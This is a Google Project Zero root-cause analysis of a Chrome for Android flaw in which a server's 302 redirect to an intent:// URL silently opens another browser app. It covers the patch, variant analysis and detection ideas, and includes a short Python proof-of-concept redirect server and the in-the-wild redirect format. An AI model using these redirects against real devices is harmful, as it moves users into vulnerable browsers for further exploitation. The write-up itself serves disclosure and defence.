Maddie Stone, Google Project Zero

The Basics

Disclosure or Patch Date: October 28, 2021

Product: Google Chrome

Advisory: https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html

Affected Versions: pre-95.0.4638.50

First Patched Version: 95.0.4638.50

Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1249962

Patch CL: https://chromium.googlesource.com/chromium/src/+/36aa9d15d1283d8d9758b044b7a9a20349f507de

Bug-Introducing CL: N/A

Reporter(s): Clement Lecigne, Neel Mehta, and Maddie Stone of Google Threat Analysis Group

The Code

Proof-of-concept:

import SimpleHTTPServer
import SocketServer

class FakeRedirect(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       new_path = '%s%s'%(' intent://google.com#Intent;scheme=https;package=com.mi.globalbrowser;S.browser_fallback_url=yahoo.com;end', self.path)
       self.send_header('Location', new_path)
       self.end_headers()

SocketServer.TCPServer(("", 8082), FakeRedirect).serve_forever()

Exploit sample:

A 302 redirect with the destination URL of: intent://<ORIG_URL>#Intent;scheme=https;package=com.sec.android.app.sbrowser;S.browser_fallback_url=<URL2>;end

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: Logic/design flaw

Vulnerability details:

Chrome supports Android intents to transfer execution to another application on the device. The vulnerability is that the intent to an external app should only occur when driven by a user. (This includes when the user has selected "Always" on the intent picker. For example, I "always" want Google maps URLs to open in the Google Maps application.) In this case, the user clicks a link, the server the URL pointed to returns a 302 redirection to the intent URL which then opens a new URL in the external application that is pointed to by the URL from the server. The app and the data passed to the app is controlled by the external server.

Patch analysis:

The patch for this vulnerability includes 6 different changes. Overall these changes seem to cause a dialog to be shown anytime an intent is trying to navigate to a different browser. In cases where the dialog wouldn't be shown, the fallback URL is shown in Chrome.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.): This vulnerability could have been found in many different ways, but one possibility that seems reasonable is that it was found by reading the previous security work around Intents on Android and testing out different options compared to the spec.

(Historical/present/future) context of bug:

There have previously been vulnerabilities around intent scheme URLs in Android like this whitepaper from March 2014 by Takeshi Terada.

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies):

Triggering the vulnerability is sufficient for exploitation.

Exploit flow: N/A

Known cases of the same exploit flow: N/A

Part of an exploit chain?

Yes. This vulnerability would only be sufficient to leave the Chrome application sandbox for another application. Therefore in order to exploit the device, more exploits would be necessary for a full chain. In the case of the in-the-wild exploit, execution was transferred to the Samsung browser application, which at the time was on a Chromium version that was 6 months old. This meant that the attacker could then use Chrome n-days to exploit the user via the Samsung browser.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

  1. Review all the possible formats for intent scheme URLs. Android intent URLs can be crafted in many different ways so a methodical review of all of the possibilities would be important to ensure all variants are mitigated as well.

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class: All intents that would transfer execution from an Internet browser app to another application require user consent.

Ideas to mitigate the exploit flow: N/A

Other potential improvements:

  • Allowing users to turn off intent URLs on their devices. This would give higher risk users the option to mitigate the attack surface in exchange for sacrificing the ease of deeplinks.

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

  • Screen browser traffic for intent scheme URLs.

Other References